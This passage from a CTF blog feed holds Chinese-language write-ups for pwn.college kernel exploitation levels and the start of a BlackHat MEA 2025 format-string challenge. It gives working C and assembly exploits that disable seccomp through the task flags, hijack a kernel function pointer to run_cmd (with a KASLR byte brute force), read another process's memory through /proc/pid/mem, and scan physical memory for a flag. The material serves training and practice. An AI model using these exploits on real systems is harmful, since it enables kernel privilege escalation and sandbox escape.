  ((void (*)(void))shellcode)();
  return length - v6;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后这个用户态程序逻辑如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+24h] [rbp-1Ch]
  int v5; // [rsp+28h] [rbp-18h]
  int v6; // [rsp+2Ch] [rbp-14h]
  __int64 v7; // [rsp+38h] [rbp-8h]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(&quot;You may upload custom shellcode to do whatever you want.\n&quot;);
  puts(&quot;For extra security, this challenge will only allow certain system calls!\n&quot;);
  v5 = open(&quot;/proc/pwncollege&quot;, 2);
  printf(&quot;Opened `/proc/pwncollege` on fd %d.\n&quot;, v5);
  puts(&amp;amp;s_);
  if ( mmap((void *)0x31337000, 0x1000u, 7, 34, 0, 0) != (void *)825454592 )
    __assert_fail(&quot;shellcode == (void *)0x31337000&quot;, &quot;&amp;lt;stdin&amp;gt;&quot;, 0x63u, &quot;main&quot;);
  printf(&quot;Mapped 0x1000 bytes for shellcode at %p!\n&quot;, (const void *)0x31337000);
  puts(&quot;Reading 0x1000 bytes of shellcode from stdin.\n&quot;);
  v6 = read(0, (void *)0x31337000, 0x1000u);
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(825454592, v6);
  puts(&amp;amp;s_);
  puts(&quot;Restricting system calls (default: allow).\n&quot;);
  v7 = seccomp_init(2147418112);
  for ( i = 0; i &amp;lt;= 511; ++i )
  {
    if ( i == 1 )
    {
      printf(&quot;Allowing syscall: %s (number %i).\n&quot;, &quot;write&quot;, 1);
    }
    else if ( (unsigned int)seccomp_rule_add(v7, 0, (unsigned int)i, 0) )
    {
      __assert_fail(&quot;seccomp_rule_add(ctx, SCMP_ACT_KILL, i, 0) == 0&quot;, &quot;&amp;lt;stdin&amp;gt;&quot;, 0x79u, &quot;main&quot;);
    }
  }
  puts(&quot;Executing shellcode!\n&quot;);
  if ( (unsigned int)seccomp_load(v7) )
    __assert_fail(&quot;seccomp_load(ctx) == 0&quot;, &quot;&amp;lt;stdin&amp;gt;&quot;, 0x7Eu, &quot;main&quot;);
  MEMORY[0x31337000]();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到这个程序已经为我们打开了内核 module 创建的设备文件，然后 mmap 了一块 rwx 内存，之后从 stdin 向 mmap 出来的内存读入数据，然后通过 seccomp 白名单只放行了 &lt;code&gt;write&lt;/code&gt; 调用，然后执行 mmap 出来的地址。&lt;/p&gt;
&lt;p&gt;问题就在于我们写入的 shellcode 既会在内核态执行，又会在用户态执行。虽然用户态只能调用 &lt;code&gt;write&lt;/code&gt;，但我们可以先在内核态将当前进程的 seccomp 手动关闭，然后返回到用户态执行后续操作就不受限制了。&lt;/p&gt;
&lt;p&gt;先读一下内核源码，看看这个 seccomp 机制是怎么运作的。&lt;/p&gt;
&lt;p&gt;众所周知，内核中每个进程都有一个 &lt;a href=&quot;https://elixir.bootlin.com/linux/v5.4/source/include/linux/sched.h#L624&quot;&gt;task_struct&lt;/a&gt; 结构体，这个结构体中又有一个 &lt;a href=&quot;https://elixir.bootlin.com/linux/v5.4/source/arch/x86/include/asm/thread_info.h#L56&quot;&gt;thread_info&lt;/a&gt; 结构体，保存当前 thread 的信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct thread_info {
  unsigned long  flags;   /* low level flags */
  u32            status;  /* thread synchronous flags */
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;thread_info&lt;/code&gt; 的 flags 字段有如下这些可用 flags，其中有一个叫做 &lt;code&gt;TIF_SECCOMP&lt;/code&gt; 的东西引起了我们的注意（&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define TIF_SYSCALL_TRACE 0 /* syscall trace active */
#define TIF_NOTIFY_RESUME 1 /* callback before returning to user */
#define TIF_SIGPENDING  2 /* signal pending */
#define TIF_NEED_RESCHED 3 /* rescheduling necessary */
#define TIF_SINGLESTEP  4 /* reenable singlestep on user return*/
#define TIF_SSBD  5 /* Speculative store bypass disable */
#define TIF_SYSCALL_EMU  6 /* syscall emulation active */
#define TIF_SYSCALL_AUDIT 7 /* syscall auditing active */
#define TIF_SECCOMP  8 /* secure computing */
#define TIF_SPEC_IB  9 /* Indirect branch speculation mitigation */
#define TIF_SPEC_FORCE_UPDATE 10 /* Force speculation MSR update in context switch */
#define TIF_USER_RETURN_NOTIFY 11 /* notify kernel of userspace return */
#define TIF_UPROBE  12 /* breakpointed or singlestepping */
#define TIF_PATCH_PENDING 13 /* pending live patching update */
#define TIF_NEED_FPU_LOAD 14 /* load FPU on return to userspace */
#define TIF_NOCPUID  15 /* CPUID is not accessible in userland */
#define TIF_NOTSC  16 /* TSC is not accessible in userland */
#define TIF_IA32  17 /* IA32 compatibility process */
#define TIF_NOHZ  19 /* in adaptive nohz mode */
#define TIF_MEMDIE  20 /* is terminating due to OOM killer */
#define TIF_POLLING_NRFLAG 21 /* idle is polling for TIF_NEED_RESCHED */
#define TIF_IO_BITMAP  22 /* uses I/O bitmap */
#define TIF_FORCED_TF  24 /* true if TF in eflags artificially */
#define TIF_BLOCKSTEP  25 /* set when we want DEBUGCTLMSR_BTF */
#define TIF_LAZY_MMU_UPDATES 27 /* task is updating the mmu lazily */
#define TIF_SYSCALL_TRACEPOINT 28 /* syscall tracepoint instrumentation */
#define TIF_ADDR32  29 /* 32-bit address space on 64 bits */
#define TIF_X32   30 /* 32-bit native x86-64 binary */
#define TIF_FSCHECK  31 /* Check FS is USER_DS on return */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看引用，得到如下&lt;a href=&quot;https://elixir.bootlin.com/linux/v5.4/source/include/linux/seccomp.h#L38&quot;&gt;代码&lt;/a&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#ifdef CONFIG_HAVE_ARCH_SECCOMP_FILTER
extern int __secure_computing(const struct seccomp_data *sd);
static inline int secure_computing(const struct seccomp_data *sd)
{
  if (unlikely(test_thread_flag(TIF_SECCOMP)))
    return  __secure_computing(sd);
  return 0;
}
#else
extern void secure_computing_strict(int this_syscall);
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很显然，如果设置了 &lt;code&gt;TIF_SECCOMP&lt;/code&gt; 位那就执行 &lt;a href=&quot;https://elixir.bootlin.com/linux/v5.4/source/kernel/seccomp.c#L920&quot;&gt;__secure_computing&lt;/a&gt; 对进行的系统调用进行检查，否则啥也不干。&lt;/p&gt;
&lt;p&gt;所以我们只要通过 &lt;code&gt;current_task_struct-&amp;gt;thread_info.flags &amp;amp;= ~(1 &amp;lt;&amp;lt; TIF_SECCOMP)&lt;/code&gt; 手动清除这个 flag 位就能关闭 seccomp，是不是很帅？&lt;/p&gt;
&lt;p&gt;非常幸运的是，&lt;code&gt;current_task_struct&lt;/code&gt; 位于 &lt;code&gt;per-cpu&lt;/code&gt; 数据区，而 &lt;code&gt;gs_base&lt;/code&gt; 指向的就是这个数据区的基地址。我们可以通过 &lt;code&gt;p &amp;amp;current_task&lt;/code&gt; 得到这个结构体在 &lt;code&gt;per-cpu&lt;/code&gt; 数据区内的偏移：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; p &amp;amp;current_task
$1 = (struct task_struct **) 0x15d00 &amp;lt;current_task&amp;gt;
pwndbg&amp;gt; ptype /o struct task_struct
/* offset      |    size */  type = struct task_struct {
/*      0      |      16 */    struct thread_info {
/*      0      |       8 */        unsigned long flags;
/*      8      |       4 */        u32 status;
/* XXX  4-byte padding   */
[...]
pwndbg&amp;gt; ptype /o struct thread_info
/* offset      |    size */  type = struct thread_info {
/*      0      |       8 */    unsigned long flags;
/*      8      |       4 */    u32 status;
/* XXX  4-byte padding   */

                               /* total size (bytes):   16 */
                             }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;

#define PACKED __attribute__((packed))
#define NAKED __attribute__((naked))

#define STR(x) #x
#define XSTR(x) STR(x)

#define TIF_SECCOMP 8

NAKED void shellcode(void) {
  __asm__ volatile(
      &quot;.intel_syntax noprefix;&quot;
      &quot;.global sc_start;&quot;
      &quot;.global sc_end;&quot;
      &quot;sc_start:;&quot;
      &quot;mov rdi, 0x3;&quot;
      &quot;lea rsi, [rip + break_seccomp_start];&quot;
      &quot;mov rdx, break_seccomp_end - break_seccomp_start;&quot;
      &quot;mov rax, 0x1;&quot;
      &quot;syscall;&quot; // write(0x3, break_seccomp_start, sizeof(break_seccomp))
      &quot;lea rdi, [rip + flag];&quot;
      &quot;xor rsi, rsi;&quot;
      &quot;mov rax, 0x2;&quot;
      &quot;syscall;&quot; // open(&quot;/flag&quot;, 0)
      &quot;mov rdi, 0x1;&quot;
      &quot;mov rsi, rax;&quot;
      &quot;xor rdx, rdx;&quot;
      &quot;mov r10, 0x1337;&quot;
      &quot;mov rax, 0x28;&quot;
      &quot;syscall;&quot; // sendfile(0x1, flag_fd, 0, 0x1337)
      &quot;break_seccomp_start:;&quot;
      &quot;mov rax, QWORD PTR gs:0x15d00;&quot;
      &quot;and QWORD PTR [rax], ~(1 &amp;lt;&amp;lt; &quot; XSTR(TIF_SECCOMP) &quot;);&quot;
      &quot;ret;&quot;
      &quot;break_seccomp_end:;&quot;
      &quot;flag: .ascii \&quot;/flag\&quot;;&quot;
      &quot;sc_end:;&quot;
      &quot;.att_syntax;&quot;);
}

extern char sc_start[];
extern char sc_end[];

int main(void) {
  size_t sc_size = sc_end - sc_start;

  write(STDOUT_FILENO, sc_start, sc_size);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 9.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Exploit a buggy kernel device to get the flag!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
  __int64 n66; // rcx
  $03BF2B29B6BBB97215B935736F34BBB0 *p_logger; // rdi
  __int64 v7; // rbp
  $03BF2B29B6BBB97215B935736F34BBB0 logger; // [rsp+0h] [rbp-120h] BYREF
  unsigned __int64 v10; // [rsp+108h] [rbp-18h]

  n66 = 66;
  v10 = __readgsqword(0x28u);
  p_logger = &amp;amp;logger;
  while ( n66 )
  {
    *(_DWORD *)p_logger-&amp;gt;buffer = 0;
    p_logger = ($03BF2B29B6BBB97215B935736F34BBB0 *)((char *)p_logger + 4);
    --n66;
  }
  printk(&amp;amp;unk_C70);
  logger.log_function = (int (*)(const char *, ...))&amp;amp;printk;
  if ( length &amp;gt; 0x108 )
  {
    _warn_printk(&quot;Buffer overflow detected (%d &amp;lt; %lu)!\n&quot;, 264, length);
    BUG();
  }
  v7 = copy_from_user(&amp;amp;logger, buffer, length);
  logger.log_function((const char *)&amp;amp;logger);
  return length - v7;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;00000000 struct $03BF2B29B6BBB97215B935736F34BBB0 // sizeof=0x108
00000000 {                                       // XREF: device_write/r
00000000     char buffer[256];
00000100     int (*log_function)(const char *, ...); // XREF: device_write+4A/w
00000100                                         // device_write:loc_BE1/r
00000108 };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，整个程序的逻辑也是非常的简单呢，定义了一个结构体，里面有两个字段，分别是 256 字节的 buffer 和一个函数指针。用户可以写入数据覆盖这个结构体，然后程序会将 &lt;code&gt;buffer&lt;/code&gt; 当作 rdi，调用结构体中定义的函数指针。&lt;/p&gt;
&lt;p&gt;这里选择的是 &lt;a href=&quot;https://elixir.bootlin.com/linux/v5.4/source/kernel/reboot.c#L422&quot;&gt;run_cmd&lt;/a&gt; 这个 kernel ABI 里面提供的调用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static int run_cmd(const char *cmd)
{
  char **argv;
  static char *envp[] = {
    &quot;HOME=/&quot;,
    &quot;PATH=/sbin:/bin:/usr/sbin:/usr/bin&quot;,
    NULL
  };
  int ret;
  argv = argv_split(GFP_KERNEL, cmd, NULL);
  if (argv) {
    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
    argv_free(argv);
  } else {
    ret = -ENOMEM;
  }

  return ret;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意 &lt;code&gt;run_cmd&lt;/code&gt; 中要执行的指令需要使用绝对路径，不然可能会失败。另，指令最好不依赖 tty, stdin / stdout / stderr 这些 I/O，否则会失败。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PACKED __attribute__((packed))
#define NAKED __attribute__((naked))

#define STR(x) #x
#define XSTR(x) STR(x)

#define DEVICE &quot;/proc/pwncollege&quot;

typedef struct {
  char buf[256];
  uint64_t func;
} PACKED payload_t;

int main(void) {
  int fd = open(DEVICE, O_WRONLY);
  assert(fd &amp;gt; 0);

  payload_t payload = {0};
  char *cmd = &quot;/run/dojo/bin/chown 1000:1000 /flag&quot;;

  memcpy(payload.buf, cmd, strlen(cmd));
  payload.func = 0xffffffff81089b30ULL;

  write(fd, &amp;amp;payload, sizeof(payload_t));

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 10.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Exploit a buggy kernel device with KASLR enabled to get the flag!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和上题一样，但是 kASLR on 。很简单，因为 &lt;code&gt;printk&lt;/code&gt; 作为最后一个结构体参数保存在末尾，所以可以爆破低字节。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;assert.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define PACKED __attribute__((packed))
#define NAKED __attribute__((naked))

#define STR(x) #x
#define XSTR(x) STR(x)

#define DEVICE &quot;/proc/pwncollege&quot;

typedef struct {
  char buf[256];
  char func[3];
} PACKED payload_t;

int main(void) {
  int fd = open(DEVICE, O_WRONLY);
  assert(fd &amp;gt; 0);

  payload_t payload = {0};
  char *cmd = &quot;/run/dojo/bin/chown 1000:1000 /flag&quot;;

  memcpy(payload.buf, cmd, strlen(cmd));

  // ffffffffb2889b30 t run_cmd
  // ffffffffb28b69a9 T printk
  payload.func[0] = 0x30;
  payload.func[1] = 0x9b;
  payload.func[2] = 0x48;

  write(fd, &amp;amp;payload, sizeof(payload_t));

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 11.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Exploit a kernel device utilizing a userspace binary, with a twist!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;load_flag&lt;/code&gt; 把 flag 加载到 fork 出来的子进程里面，并在返回 main 函数后通过 &lt;code&gt;unlink(&quot;/flag&quot;);&lt;/code&gt; 将 &lt;code&gt;/flag&lt;/code&gt; 文件删除了。但是我们注意到 fork 出来的子进程并没有退出，因此可以读取子进程的内存来输出 flag.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int load_flag()
{
  int fd; // [rsp+4h] [rbp-Ch]
  sem_t *sem; // [rsp+8h] [rbp-8h]

  puts(&quot;Attempting to load the flag into memory.\n&quot;);
  sem = (sem_t *)mmap(0, 0x1000u, 3, 33, 0, 0);
  sem_init(sem, 1, 0);
  if ( !fork() )
  {
    fd = open(&quot;/flag&quot;, 0);
    if ( fd &amp;lt; 0 )
      exit(1);
    read(fd, &amp;amp;flag_23583, 0x100u);
    close(fd);
    sem_post(sem);
    while ( 1 )
      sleep(1u);
  }
  return sem_wait(sem);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;是时候祭出我写的 &lt;a href=&quot;https://github.com/CuB3y0nd/axium&quot;&gt;axium&lt;/a&gt; 了，目前是根据我 pwncollege 做题遇到的需求在拓展功能，后面还会继续更新更多内容，希望能成为 kernel exploitation 界的 pwntools xD&lt;/p&gt;
&lt;p&gt;&amp;lt;GithubCard repo=&quot;CuB3y0nd/axium&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;看看这道题用上 axium 后的实战效果：&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.96a83lkt89.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &quot;axium/log.h&quot;
#include &quot;axium/tubes/process.h&quot;
#include &quot;axium/tubes/tube.h&quot;
#include &quot;axium/utils/payload.h&quot;
#include &quot;axium/utils/proc.h&quot;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

#define PACKED __attribute__((packed))
#define NAKED __attribute__((naked))

#define STR(x) #x
#define XSTR(x) STR(x)

#define TIF_SECCOMP 8

NAKED void shellcode(void) {
  __asm__ volatile(
      &quot;.intel_syntax noprefix;&quot;
      &quot;.global sc_start;&quot;
      &quot;.global sc_end;&quot;
      &quot;sc_start:;&quot;
      &quot;mov rdi, 0x3;&quot;
      &quot;lea rsi, [rip + break_seccomp_start];&quot;
      &quot;mov rdx, break_seccomp_end - break_seccomp_start;&quot;
      &quot;mov rax, 0x1;&quot;
      &quot;syscall;&quot; // write(0x3, break_seccomp_start, sizeof(break_seccomp))
      &quot;lea rdi, [rip + path];&quot;
      &quot;xor rsi, rsi;&quot;
      &quot;mov rax, 0x2;&quot;
      &quot;syscall;&quot; // open(\&quot;/proc/pid/mem\&quot;, 0x0)
      &quot;mov rdi, 0x1;&quot;
      &quot;mov rsi, rax;&quot;
      &quot;push 0x404040;&quot;
      &quot;mov rdx, rsp;&quot;
      &quot;mov r10, 0x1337;&quot;
      &quot;mov rax, 0x28;&quot;
      &quot;syscall;&quot; // sendfile(0x1, fd, 0x404040, 0x1337)
      &quot;break_seccomp_start:;&quot;
      &quot;mov rax, QWORD PTR gs:0x15d00;&quot;
      &quot;and QWORD PTR [rax], ~(1 &amp;lt;&amp;lt; &quot; XSTR(
          TIF_SECCOMP) &quot;);&quot;
                       &quot;ret;&quot;
                       &quot;break_seccomp_end:;&quot;
                       &quot;path: .ascii \&quot;/proc/XXXXXXXXXX/mem\&quot;;&quot;
                       &quot;sc_end:;&quot;
                       &quot;.att_syntax;&quot;);
}

extern char sc_start[];
extern char sc_end[];

int main(void) {
  char *const challenge_argv[] = {&quot;/challenge/babykernel_level11.0&quot;, NULL};
  tube *t = process_ext(challenge_argv, NULL, TUBE_STDIN);
  pid_t child_pid = t_pid(t) + 1;

  if (!wait_for_pid(child_pid, 1000)) {
    log_exception(&quot;spawn child process&quot;);
    return -1;
  }

  size_t sc_size = sc_end - sc_start;
  uint8_t sc[sc_size];
  memcpy(sc, sc_start, sc_size);

  const char *marker = &quot;/proc/XXXXXXXXXX/mem&quot;;
  char real_path[32];
  snprintf(real_path, sizeof(real_path), &quot;/proc/%d/mem&quot;, child_pid);

  patch(sc, sc_size, marker, strlen(marker), real_path, strlen(real_path));
  sendline(t, sc, sc_size);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Level 12.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Exploit a kernel device utilizing a userspace binary, with a twist!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题和上题的区别在于，fork 出来的子进程读取完 flag 后直接退出了，这样一来子进程的页表映射就被销毁了，我们无法再通过 &lt;code&gt;/proc/pid/mem&lt;/code&gt; 的方式访问到子进程的内存空间。&lt;/p&gt;
&lt;p&gt;但销毁只是把用户态的页表映射移除，并不是说会将它使用过的物理内存空间也擦除，不然开销太大了。所以我们可以侧信道遍历内核物理地址空间找到 flag，前提是期间没有被其它运行过的程序破坏原先 flag 在内核物理地址空间的残留。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__pid_t load_flag()
{
  int fd; // [rsp+Ch] [rbp-4h]

  puts(&quot;Attempting to load the flag into memory.\n&quot;);
  if ( !fork() )
  {
    fd = open(&quot;/flag&quot;, 0);
    if ( fd &amp;lt; 0 )
      exit(1);
    read(fd, &amp;amp;flag_23549, 0x100u);
    close(fd);
    exit(0);
  }
  return wait(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.232coxtja2.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;axium/axium.h&amp;gt;

#define PAGE_OFFSET 0xffff888000000000
#define PRINTK_ADDR 0xffffffff810b69a9

/* clang-format off */
DEFINE_SHELLCODE(sc_write) {
  SHELLCODE_START(sc_write);
  __asm__ volatile(
    &quot;mov edi, 0x3\n&quot;
    &quot;lea rsi, [rip + &quot; XSTR(SC_M(uint32_t, 1)) &quot;]\n&quot;
    &quot;mov edx, &quot; XSTR(SC_M(uint32_t, 2)) &quot;\n&quot;
    &quot;mov eax, 0x1\n&quot;
    &quot;syscall\n&quot; // write(0x3, side_channel_start, sizeof(side_channel))
  );
  SHELLCODE_END(sc_write);
}

DEFINE_SHELLCODE(sc_side_channel) {
  SHELLCODE_START(sc_side_channel);
  __asm__ volatile(
      &quot;mov rdi, &quot; XSTR(PAGE_OFFSET) &quot;\n&quot;
      &quot;mov rbx, [rip + mark]\n&quot;
      &quot;loop:\n&quot;
      &quot;  cmp rbx, [rdi]\n&quot;
      &quot;  je print\n&quot;
      &quot;  inc rdi\n&quot;
      &quot;  jmp loop\n&quot;
      &quot;print:\n&quot;
      &quot;  push rdi\n&quot;
      &quot;  mov rax, &quot; XSTR(PRINTK_ADDR) &quot;\n&quot;
      &quot;  call rax\n&quot;
      &quot;  pop rdi\n&quot;
      &quot;  inc rdi\n&quot;
      &quot;  jmp loop\n&quot;
      &quot;mark:\n&quot;
      &quot;  .ascii \&quot;college{\&quot;\n&quot;
  );
  SHELLCODE_END(sc_side_channel);
}
/* clang-format on */

int main(void) {
  set_log_level(DEBUG);
  char *const challenge_argv[] = {&quot;/challenge/babykernel_level12.0&quot;, NULL};
  tube *t = process_ext(challenge_argv, NULL, TUBE_STDIN);

  payload_t sc_side_channel;
  payload_init(&amp;amp;sc_side_channel);
  PAYLOAD_PUSH_SC(&amp;amp;sc_side_channel, sc_side_channel);

  payload_t sc_write;
  payload_init(&amp;amp;sc_write);
  PAYLOAD_PUSH_SC(&amp;amp;sc_write, sc_write);
  sc_fix_rel(&amp;amp;sc_write, 1, (uint32_t)sc_write.size);
  sc_fix(&amp;amp;sc_write, 2, (uint32_t)sc_side_channel.size);

  payload_t payload;
  payload_init(&amp;amp;payload);
  payload_push(&amp;amp;payload, sc_write.data, sc_write.size);
  payload_push(&amp;amp;payload, sc_side_channel.data, sc_side_channel.size);

  sendline(t, payload.data, payload.size);

  payload_fini(&amp;amp;sc_side_channel);
  payload_fini(&amp;amp;sc_write);
  payload_fini(&amp;amp;payload);
  t_close(t);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Write-ups: BlackHat MEA CTF Final 2025</title><link>https://cubeyond.net/posts/write-ups/blackhat-mea-ctf-final-2025/</link><guid isPermaLink="true">https://cubeyond.net/posts/write-ups/blackhat-mea-ctf-final-2025/</guid><description>Write-ups for BlackHat MEA CTF Final 2025 pwn aspect.</description><pubDate>Tue, 02 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Verifmt&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Verifmt is a format string converter with a powerful verifier.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;题目给了源码，还是很方便的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;ctype.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int verify_fmt(const char *fmt, size_t n_args) {
  size_t argcnt = 0;
  size_t len = strlen(fmt);

  for (size_t i = 0; i &amp;lt; len; i++) {
    if (fmt[i] == &apos;%&apos;) {
      if (fmt[i+1] == &apos;%&apos;) {
        i++;
        continue;
      }

      if (isdigit(fmt[i+1])) {
        puts(&quot;[-] Positional argument not supported&quot;);
        return 1;
      }

      if (argcnt &amp;gt;= n_args) {
        printf(&quot;[-] Cannot use more than %lu specifiers\n&quot;, n_args);
        return 1;
      }

      argcnt++;
    }
  }

  return 0;
}

int main() {
  size_t n_args;
  long args[4];
  char fmt[256];

  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  while (1) {
    /* Get arguments */
    printf(&quot;# of args: &quot;);
    if (scanf(&quot;%lu&quot;, &amp;amp;n_args) != 1) {
      return 1;
    }

    if (n_args &amp;gt; 4) {
      puts(&quot;[-] Maximum of 4 arguments supported&quot;);
      continue;
    }

    memset(args, 0, sizeof(args));
    for (size_t i = 0; i &amp;lt; n_args; i++) {
      printf(&quot;args[%lu]: &quot;, i);
      if (scanf(&quot;%ld&quot;, args + i) != 1) {
        return 1;
      }
    }

    /* Get format string */
    while (getchar() != &apos;\n&apos;);
    printf(&quot;Format string: &quot;);
    if (fgets(fmt, sizeof(fmt), stdin) == NULL) {
      return 1;
    }

    /* Verify format string */
    if (verify_fmt(fmt, n_args)) {
      continue;
    }

    /* Enjoy! */
    printf(fmt, args[0], args[1], args[2], args[3]);
  }

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现只是对格式化字符串做了一些限制，不能利用位置参数泄漏指定值，再者就是最多只能使用四个格式化字符串标志符（以 &lt;code&gt;%&lt;/code&gt; 打头算一个），且格式化字符串格式也是固定为 &lt;code&gt;printf(fmt, args[0], args[1], args[2], args[3]);&lt;/code&gt;，但是传入 &lt;code&gt;printf&lt;/code&gt; 的所有参数都是可控的。&lt;/p&gt;
&lt;p&gt;这题基本上只要搞明白怎么泄漏地址就赢了，涉及到一个 &lt;code&gt;*&lt;/code&gt; 参数的概念，如果我们输入 &lt;code&gt;%*.*p%*.*p&lt;/code&gt;，这四个 &lt;code&gt;*&lt;/code&gt; 就会分别用 &lt;code&gt;args[0] ~ args[3]&lt;/code&gt; 为参数，且 &lt;code&gt;p&lt;/code&gt; 也各占一个参数位，此时我们只使用了两个 &lt;code&gt;%&lt;/code&gt; 标识符，就已经消耗了六个参数，另外还剩两次机会。好巧不巧，栈上就有一个地址，正好是第七个参数，所以直接再加一个 &lt;code&gt;%p&lt;/code&gt; 泄漏即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8dxbarni09.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;泄漏了栈地址我们就知道返回地址，调试发现返回地址处保存的正好是 libc 地址，我们可以直接控制 &lt;code&gt;rsi&lt;/code&gt; 为返回地址，&lt;code&gt;fmt&lt;/code&gt; 为 &lt;code&gt;%s&lt;/code&gt; 以此泄漏 libc，之后就随便打打了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument(&quot;-L&quot;, action=&quot;store_true&quot;)
